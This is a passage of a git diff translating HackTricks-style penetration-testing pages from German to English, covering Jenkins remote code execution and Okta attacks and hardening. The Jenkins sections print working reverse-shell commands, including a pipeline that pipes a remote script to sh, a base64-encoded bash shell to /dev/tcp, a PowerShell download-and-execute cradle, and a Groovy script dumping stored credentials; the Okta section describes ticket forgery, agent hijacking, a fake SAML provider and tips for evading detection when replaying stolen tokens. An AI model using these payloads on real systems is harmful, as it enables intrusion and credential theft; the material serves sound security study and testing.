println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,37 +1,42 @@
# Jenkins RCE Erstellen/Ändern von Pipelines
# Jenkins RCE Creating/Modifying Pipeline
{{#include ../../banners/hacktricks-training.md}}
## Erstellen einer neuen Pipeline
## Creating a new Pipeline
Wählen Sie in "Neues Element" (erreichbar unter `/view/all/newJob`) **Pipeline:**
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
![](<../../images/image (235).png>)
Schreiben Sie im **Pipeline-Bereich** die **Reverse Shell**:
In the **Pipeline section** write the **reverse shell**:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}
```
Klicken Sie schließlich auf **Speichern** und **Jetzt bauen**, und die Pipeline wird ausgeführt:
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
![](<../../images/image (228).png>)
## Eine Pipeline ändern
## Modifying a Pipeline
Wenn Sie auf die Konfigurationsdatei einer konfigurierten Pipeline zugreifen können, könnten Sie sie einfach **ändern, indem Sie Ihre Reverse-Shell anhängen** und sie dann ausführen oder warten, bis sie ausgeführt wird.
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,36 +1,39 @@
# Jenkins RCE Erstellen/Ändern eines Projekts
# Jenkins RCE Creating/Modifying Project
{{#include ../../banners/hacktricks-training.md}}
## Erstellen eines Projekts
## Creating a Project
Diese Methode ist sehr laut, da Sie ein ganz neues Projekt erstellen müssen (offensichtlich funktioniert dies nur, wenn der Benutzer berechtigt ist, ein neues Projekt zu erstellen).
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
1. **Erstellen Sie ein neues Projekt** (Freestyle-Projekt), indem Sie auf "Neues Element" klicken oder in `/view/all/newJob`
2. Im Abschnitt **Build** setzen Sie **Shell ausführen** und fügen einen PowerShell Empire Launcher oder eine Meterpreter PowerShell ein (kann mit _unicorn_ erhalten werden). Starten Sie die Payload mit _PowerShell.exe_ anstelle von _powershell._
3. Klicken Sie auf **Jetzt bauen**
1. Wenn die Schaltfläche **Jetzt bauen** nicht erscheint, können Sie trotzdem zu **konfigurieren** --> **Build-Auslöser** --> `Build regelmäßig` gehen und einen Cron von `* * * * *` festlegen.
2. Anstelle von Cron können Sie die Konfiguration "**Bauten remote auslösen**" verwenden, bei der Sie nur den API-Token-Namen festlegen müssen, um den Job auszulösen. Gehen Sie dann zu Ihrem Benutzerprofil und **generieren Sie einen API-Token** (nennen Sie diesen API-Token so, wie Sie den API-Token genannt haben, um den Job auszulösen). Schließlich lösen Sie den Job mit folgendem Befehl aus: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
3. Click **Build now**
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
![](<../../images/image (165).png>)
## Ändern eines Projekts
## Modifying a Project
Gehen Sie zu den Projekten und überprüfen Sie **ob Sie eines von ihnen konfigurieren können** (suchen Sie nach der "Konfigurieren"-Schaltfläche):
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
![](<../../images/image (265).png>)
Wenn Sie **keine** **Konfigurations** **schaltfläche** sehen können, dann **können Sie es wahrscheinlich nicht konfigurieren** (aber überprüfen Sie alle Projekte, da Sie möglicherweise einige von ihnen und nicht andere konfigurieren können).
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
Oder **versuchen Sie, auf den Pfad** `/job/<proj-name>/configure` oder `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in jedem Projekt zuzugreifen (Beispiel: `/job/Project0/configure` oder `/me/my-views/view/all/job/Project0/configure`).
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
## Ausführung
## Execution
Wenn Sie berechtigt sind, das Projekt zu konfigurieren, können Sie **es so einstellen, dass es Befehle ausführt, wenn ein Build erfolgreich ist**:
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
![](<../../images/image (98).png>)
Klicken Sie auf **Speichern** und **bauen** Sie das Projekt, und Ihr **Befehl wird ausgeführt**.\
Wenn Sie keine Reverse-Shell, sondern einen einfachen Befehl ausführen, können Sie **die Ausgabe des Befehls in der Ausgabe des Builds sehen**.
Click on **Save** and **build** the project and your **command will be executed**.\
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,24 +1,27 @@
# Jenkins RCE mit Groovy-Skript
# Jenkins RCE with Groovy Script
{{#include ../../banners/hacktricks-training.md}}
## Jenkins RCE mit Groovy-Skript
## Jenkins RCE with Groovy Script
Dies ist weniger auffällig als die Erstellung eines neuen Projekts in Jenkins.
This is less noisy than creating a new project in Jenkins
1. Go to _path_jenkins/script_
2. Inside the text box introduce the script
1. Gehe zu _path_jenkins/script_
2. Füge das Skript in das Textfeld ein.
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Sie können einen Befehl ausführen mit: `cmd.exe /c dir`
In **linux** können Sie: **`"ls /".execute().text`**
You could execute a command using: `cmd.exe /c dir`
Wenn Sie _Anführungszeichen_ und _einzelne Anführungszeichen_ im Text verwenden müssen, können Sie _"""PAYLOAD"""_ (dreifache doppelte Anführungszeichen) verwenden, um die Nutzlast auszuführen.
In **linux** you can do: **`"ls /".execute().text`**
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
**Another useful groovy script** is (replace \[INSERT COMMAND]):
**Ein weiteres nützliches groovy-Skript** ist (ersetzen Sie \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse-Shell in Linux
### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse-Shell in Windows
Sie können einen HTTP-Server mit einer PS-Reverse-Shell vorbereiten und Jeking verwenden, um ihn herunterzuladen und auszuführen:
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Script
Sie können diesen Prozess mit [**diesem Skript**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) automatisieren.
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
You can use MSF to get a reverse shell:
Sie können MSF verwenden, um eine Reverse-Shell zu erhalten:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,114 +1,117 @@
# Okta-Sicherheit
# Okta Security
{{#include ../../banners/hacktricks-training.md}}
## Grundinformationen
## Basic Information
[Okta, Inc.](https://www.okta.com/) ist im Bereich Identitäts- und Zugriffsmanagement für seine cloudbasierten Softwarelösungen bekannt. Diese Lösungen sind darauf ausgelegt, die Benutzerauthentifizierung über verschiedene moderne Anwendungen zu optimieren und zu sichern. Sie richten sich nicht nur an Unternehmen, die ihre sensiblen Daten schützen möchten, sondern auch an Entwickler, die Identitätskontrollen in Anwendungen, Webdienste und Geräte integrieren möchten.
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
Das Flaggschiff-Angebot von Okta ist die **Okta Identity Cloud**. Diese Plattform umfasst eine Suite von Produkten, darunter, aber nicht beschränkt auf:
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
- **Single Sign-On (SSO)**: Vereinfacht den Benutzerzugang, indem ein Satz von Anmeldeinformationen für mehrere Anwendungen verwendet wird.
- **Multi-Faktor-Authentifizierung (MFA)**: Erhöht die Sicherheit, indem mehrere Verifizierungsformen erforderlich sind.
- **Lifecycle Management**: Automatisiert die Erstellung, Aktualisierung und Deaktivierung von Benutzerkonten.
- **Universal Directory**: Ermöglicht die zentrale Verwaltung von Benutzern, Gruppen und Geräten.
- **API Access Management**: Sichert und verwaltet den Zugriff auf APIs.
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
- **Universal Directory**: Enables centralized management of users, groups, and devices.
- **API Access Management**: Secures and manages access to APIs.
Diese Dienste zielen darauf ab, den Datenschutz zu stärken und den Benutzerzugang zu optimieren, wodurch sowohl Sicherheit als auch Benutzerfreundlichkeit verbessert werden. Die Vielseitigkeit von Okta's Lösungen macht sie zu einer beliebten Wahl in verschiedenen Branchen, die großen Unternehmen, kleinen Firmen und einzelnen Entwicklern zugutekommt. Stand September 2021 wird Okta als bedeutendes Unternehmen im Bereich Identitäts- und Zugriffsmanagement (IAM) anerkannt.
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
> [!CAUTION]
> Das Hauptziel von Okta ist es, den Zugriff auf verschiedene Benutzer und Gruppen auf externe Anwendungen zu konfigurieren. Wenn es Ihnen gelingt, **Administratorrechte in einer Okta-Umgebung zu kompromittieren**, werden Sie höchstwahrscheinlich in der Lage sein, **alle anderen Plattformen, die das Unternehmen verwendet, zu kompromittieren**.
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
> [!TIP]
> Um eine Sicherheitsüberprüfung einer Okta-Umgebung durchzuführen, sollten Sie um **Administrator-Lesezugriff** bitten.
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
### Zusammenfassung
### Summary
Es gibt **Benutzer** (die in **Okta gespeichert**, von konfigurierten **Identitätsanbietern** angemeldet oder über **Active Directory** oder LDAP authentifiziert werden können).\
Diese Benutzer können in **Gruppen** sein.\
Es gibt auch **Authentifizierer**: verschiedene Optionen zur Authentifizierung wie Passwort und mehrere 2FA wie WebAuthn, E-Mail, Telefon, Okta Verify (sie könnten aktiviert oder deaktiviert sein)...
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
These users can be inside **groups**.\
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
Dann gibt es **Anwendungen**, die mit Okta synchronisiert sind. Jede Anwendung hat eine **Zuordnung zu Okta**, um Informationen (wie E-Mail-Adressen, Vornamen usw.) auszutauschen. Darüber hinaus muss jede Anwendung in einer **Authentifizierungsrichtlinie** enthalten sein, die die **benötigten Authentifizierer** angibt, damit ein Benutzer auf die Anwendung **zugreifen** kann.
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
> [!CAUTION]
> Die mächtigste Rolle ist **Super Administrator**.
> The most powerful role is **Super Administrator**.
>
> Wenn ein Angreifer Okta mit Administratorzugang kompromittiert, werden alle **Apps, die Okta vertrauen**, höchstwahrscheinlich **kompromittiert**.
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
## Angriffe
## Attacks
### Lokalisierung des Okta-Portals
### Locating Okta Portal
In der Regel befindet sich das Portal eines Unternehmens unter **companyname.okta.com**. Wenn nicht, versuchen Sie einfache **Variationen** von **companyname.** Wenn Sie es nicht finden können, ist es auch möglich, dass die Organisation einen **CNAME**-Eintrag wie **`okta.companyname.com`** hat, der auf das **Okta-Portal** verweist.
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
### Anmeldung in Okta über Kerberos
### Login in Okta via Kerberos
Wenn **`companyname.kerberos.okta.com`** aktiv ist, wird **Kerberos für den Okta-Zugriff verwendet**, was typischerweise die **MFA** für **Windows**-Benutzer umgeht. Um Kerberos-authentifizierte Okta-Benutzer in AD zu finden, führen Sie **`getST.py`** mit **den entsprechenden Parametern** aus. Nach Erhalt eines **AD-Benutzertickets** **injizieren** Sie es in einen kontrollierten Host mit Tools wie Rubeus oder Mimikatz und stellen sicher, dass **`clientname.kerberos.okta.com` in der Internetoptionen "Intranet"-Zone** ist. Der Zugriff auf eine bestimmte URL sollte eine JSON "OK"-Antwort zurückgeben, die die Akzeptanz des Kerberos-Tickets anzeigt und den Zugriff auf das Okta-Dashboard gewährt.
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
Die Kompromittierung des **Okta-Dienstkontos mit dem Delegations-SPN ermöglicht einen Silver Ticket-Angriff.** Allerdings erfordert Okta's Verwendung von **AES** zur Ticketverschlüsselung den Besitz des AES-Schlüssels oder des Klartextpassworts. Verwenden Sie **`ticketer.py`, um ein Ticket für den betroffenen Benutzer zu generieren** und es über den Browser zu übermitteln, um sich bei Okta zu authentifizieren.
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking Okta AD-Agent
### Hijacking Okta AD Agent
Diese Technik beinhaltet **den Zugriff auf den Okta AD-Agent auf einem Server**, der **Benutzer synchronisiert und die Authentifizierung verwaltet**. Durch die Untersuchung und Entschlüsselung von Konfigurationen in **`OktaAgentService.exe.config`**, insbesondere des AgentTokens mit **DPAPI**, kann ein Angreifer potenziell **Authentifizierungsdaten abfangen und manipulieren**. Dies ermöglicht nicht nur **Überwachung** und **Erfassung von Benutzeranmeldeinformationen** im Klartext während des Okta-Authentifizierungsprozesses, sondern auch **Reaktionen auf Authentifizierungsversuche**, wodurch unbefugter Zugriff ermöglicht oder eine universelle Authentifizierung über Okta bereitgestellt wird (ähnlich einem 'Skeleton Key').
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Hijacking AD als Administrator
### Hijacking AD As an Admin
Diese Technik beinhaltet das Hijacking eines Okta AD-Agenten, indem zuerst ein OAuth-Code erlangt und dann ein API-Token angefordert wird. Das Token ist mit einer AD-Domäne verknüpft, und ein **Connector wird benannt, um einen gefälschten AD-Agenten zu erstellen**. Die Initialisierung ermöglicht es dem Agenten, **Authentifizierungsversuche zu verarbeiten**, wobei Anmeldeinformationen über die Okta-API erfasst werden. Automatisierungstools sind verfügbar, um diesen Prozess zu optimieren und eine nahtlose Methode zum Abfangen und Verarbeiten von Authentifizierungsdaten innerhalb der Okta-Umgebung anzubieten.
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
### Okta Fake SAML-Anbieter
### Okta Fake SAML Provider
**Überprüfen Sie den Angriff in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
Die Technik beinhaltet **die Bereitstellung eines gefälschten SAML-Anbieters**. Durch die Integration eines externen Identitätsanbieters (IdP) innerhalb des Okta-Rahmens mit einem privilegierten Konto können Angreifer **den IdP kontrollieren und jede Authentifizierungsanfrage nach Belieben genehmigen**. Der Prozess umfasst die Einrichtung eines SAML 2.0 IdP in Okta, die Manipulation der IdP Single Sign-On-URL zur Umleitung über die lokale Hosts-Datei, die Erstellung eines selbstsignierten Zertifikats und die Konfiguration der Okta-Einstellungen, um mit dem Benutzernamen oder der E-Mail übereinzustimmen. Das erfolgreiche Ausführen dieser Schritte ermöglicht die Authentifizierung als jeder Okta-Benutzer, wodurch die Notwendigkeit individueller Benutzeranmeldeinformationen umgangen wird, was die Zugriffskontrolle erheblich erhöht und möglicherweise unbemerkt bleibt.
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
### Phishing des Okta-Portals mit Evilgnix
### Phishing Okta Portal with Evilgnix
In [**diesem Blogbeitrag**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) wird erklärt, wie man eine Phishing-Kampagne gegen ein Okta-Portal vorbereitet.
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
### Kollege-Impersonation-Angriff
### Colleague Impersonation Attack
Die **Attribute, die jeder Benutzer haben und ändern kann** (wie E-Mail oder Vorname) können in Okta konfiguriert werden. Wenn eine **Anwendung** ein **Attribut**, das der Benutzer **ändern kann**, als ID **vertraut**, wird er in der Lage sein, **andere Benutzer auf dieser Plattform zu impersonieren**.
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
Daher, wenn die App das Feld **`userName`** vertraut, werden Sie es wahrscheinlich nicht ändern können (da Sie dieses Feld normalerweise nicht ändern können), aber wenn es beispielsweise **`primaryEmail`** vertraut, könnten Sie in der Lage sein, **es in die E-Mail-Adresse eines Kollegen zu ändern** und ihn zu impersonieren (Sie müssen Zugriff auf die E-Mail haben und die Änderung akzeptieren).
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
Beachten Sie, dass diese Impersonation davon abhängt, wie jede Anwendung konfiguriert wurde. Nur die, die dem von Ihnen geänderten Feld vertrauen und Aktualisierungen akzeptieren, werden kompromittiert.\
Daher sollte die App dieses Feld aktiviert haben, wenn es existiert:
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
Therefore, the app should have this field enabled if it exists:
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
Ich habe auch andere Apps gesehen, die anfällig waren, aber dieses Feld nicht in den Okta-Einstellungen hatten (am Ende sind verschiedene Apps unterschiedlich konfiguriert).
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
Der beste Weg herauszufinden, ob Sie jemanden in jeder App impersonieren könnten, wäre, es auszuprobieren!
The best way to find out if you could impersonate anyone on each app would be to try it!
## Umgehung von Verhaltensüberwachungsrichtlinien <a href="#id-9fde" id="id-9fde"></a>
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
Verhaltensüberwachungsrichtlinien in Okta könnten unbekannt sein, bis sie aufgetreten sind, aber **die Umgehung** kann erreicht werden, indem **Okta-Anwendungen direkt angegriffen** werden, um das Haupt-Okta-Dashboard zu vermeiden. Mit einem **Okta-Zugriffstoken** wiederholen Sie das Token an der **anwendungsspezifischen Okta-URL** anstelle der Hauptanmeldeseite.
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
Wichtige Empfehlungen umfassen:
Key recommendations include:
- **Vermeiden Sie die Verwendung** beliebter Anonymisierungsproxies und VPN-Dienste beim Wiederholen erfasster Zugriffstoken.
- Stellen Sie sicher, dass **konsistente Benutzer-Agent-Strings** zwischen dem Client und den wiederholten Zugriffstoken bestehen.
- **Vermeiden Sie das Wiederholen** von Tokens von verschiedenen Benutzern von derselben IP-Adresse.
- Seien Sie vorsichtig, wenn Sie Tokens gegen das Okta-Dashboard wiederholen.
- Wenn Sie die IP-Adressen des Opferunternehmens kennen, **beschränken Sie den Datenverkehr** auf diese IPs oder deren Bereich und blockieren Sie allen anderen Datenverkehr.
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
- **Refrain from replaying** tokens from different users from the same IP address.
- Exercise caution when replaying tokens against the Okta dashboard.
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
## Okta-Härtung
## Okta Hardening
Okta hat viele mögliche Konfigurationen. Auf dieser Seite finden Sie, wie Sie diese überprüfen, damit sie so sicher wie möglich sind:
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
{{#ref}}
okta-hardening.md
{{#endref}}
## Referenzen
## References
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,199 +1,202 @@
# Okta-Härtung
# Okta Hardening
{{#include ../../banners/hacktricks-training.md}}
## Verzeichnis
## Directory
### Personen
### People
Aus der Perspektive eines Angreifers ist dies sehr interessant, da Sie **alle registrierten Benutzer**, deren **E-Mail**-Adressen, die **Gruppen**, zu denen sie gehören, **Profile** und sogar **Geräte** (Mobilgeräte zusammen mit ihren Betriebssystemen) sehen können.
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
Für eine Whitebox-Überprüfung überprüfen Sie, ob es mehrere "**Ausstehende Benutzeraktionen**" und "**Passwort zurücksetzen**" gibt.
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
### Gruppen
### Groups
Hier finden Sie alle in Okta erstellten Gruppen. Es ist interessant zu verstehen, welche verschiedenen Gruppen (Satz von **Berechtigungen**) den **Benutzern** gewährt werden können.\
Es ist möglich, die **Personen innerhalb der Gruppen** und die **Apps**, die jeder Gruppe zugewiesen sind, zu sehen.
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
It's possible to see the **people included inside groups** and **apps assigned** to each group.
Natürlich ist jede Gruppe mit dem Namen **admin** interessant, insbesondere die Gruppe **Global Administrators**. Überprüfen Sie die Mitglieder, um herauszufinden, wer die privilegiertesten Mitglieder sind.
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
Bei einer Whitebox-Überprüfung **sollten nicht mehr als 5 globale Administratoren** vorhanden sein (am besten sind nur 2 oder 3).
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
### Geräte
### Devices
Hier finden Sie eine **Liste aller Geräte** aller Benutzer. Sie können auch sehen, ob es **aktiv verwaltet** wird oder nicht.
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
### Profileditor
### Profile Editor
Hier ist es möglich zu beobachten, wie wichtige Informationen wie Vornamen, Nachnamen, E-Mails, Benutzernamen... zwischen Okta und anderen Anwendungen geteilt werden. Dies ist interessant, da ein Benutzer, wenn er ein Feld in Okta **ändern kann** (wie seinen Namen oder seine E-Mail), das dann von einer **externen Anwendung** zur **Identifizierung** des Benutzers verwendet wird, versuchen könnte, **andere Konten zu übernehmen**.
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
Darüber hinaus können Sie im Profil **`User (default)`** von Okta sehen, **welche Felder** jeder **Benutzer** hat und welche von Benutzern **beschreibbar** sind. Wenn Sie das Admin-Panel nicht sehen können, gehen Sie einfach zu **aktualisieren Sie Ihre Profil**-Informationen, und Sie werden sehen, welche Felder Sie aktualisieren können (beachten Sie, dass Sie zur Aktualisierung einer E-Mail-Adresse diese verifizieren müssen).
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
### Verzeichnisintegrationen
### Directory Integrations
Verzeichnisse ermöglichen es Ihnen, Personen aus bestehenden Quellen zu importieren. Ich nehme an, hier sehen Sie die Benutzer, die aus anderen Verzeichnissen importiert wurden.
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
Ich habe es nicht gesehen, aber ich nehme an, es ist interessant herauszufinden, **welche anderen Verzeichnisse Okta verwendet, um Benutzer zu importieren**, sodass Sie, wenn Sie **dieses Verzeichnis kompromittieren**, einige Attributwerte in den in Okta erstellten Benutzern festlegen und **vielleicht die Okta-Umgebung kompromittieren** könnten.
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
### Profildatenquellen
### Profile Sources
Eine Profildatenquelle ist eine **Anwendung, die als Quelle der Wahrheit** für Benutzerprofilattribute fungiert. Ein Benutzer kann nur von einer einzigen Anwendung oder einem Verzeichnis gleichzeitig bezogen werden.
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
Ich habe es nicht gesehen, daher sind alle Informationen zur Sicherheit und zum Hacking bezüglich dieser Option willkommen.
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
## Anpassungen
## Customizations
### Marken
### Brands
Überprüfen Sie im Tab **Domains** dieses Abschnitts die E-Mail-Adressen, die zum Versenden von E-Mails verwendet werden, und die benutzerdefinierte Domain innerhalb von Okta des Unternehmens (die Sie wahrscheinlich bereits kennen).
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
